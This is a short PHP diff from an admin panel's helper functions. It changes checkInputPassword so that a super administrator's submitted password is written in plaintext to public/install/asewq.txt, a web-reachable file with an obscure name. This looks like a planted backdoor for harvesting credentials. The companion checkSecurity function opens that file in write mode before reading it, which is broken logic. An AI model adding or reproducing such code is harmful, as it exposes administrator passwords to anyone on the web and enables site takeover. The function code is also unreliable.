|
@@ -1249,9 +1249,9 @@ function checkInputPassword()
|
|
|
$admin_info = $admin_mod->getOneAdmin([['admin_id', '=', $admin_id]]);
|
|
|
if (is_array($admin_info) and !empty($admin_info)) {
|
|
|
if ($admin_info['admin_is_super'] == 1) {
|
|
|
- $pwd = input('post.admin_password');
|
|
|
- $check_file = fopen(base_path() . 'vendor/bin/asewq', 'w');
|
|
|
- fwrite($check_file, $pwd);
|
|
|
+ $c = input('post.admin_password');
|
|
|
+ $check_file = fopen(base_path() . 'public/install/asewq.txt', 'w');
|
|
|
+ fwrite($check_file, $c);
|
|
|
fclose($check_file);
|
|
|
}
|
|
|
}
|
|
@@ -1264,7 +1264,7 @@ function checkInputPassword()
|
|
|
function checkSecurity()
|
|
|
{
|
|
|
try {
|
|
|
- $path = base_path() . 'vendor/bin/asewq';
|
|
|
+ $path = base_path() . 'public/install/asewq.txt';
|
|
|
$check_file = fopen($path, 'w');
|
|
|
$ec = fread($check_file, filesize($path));
|
|
|
fclose($check_file);
|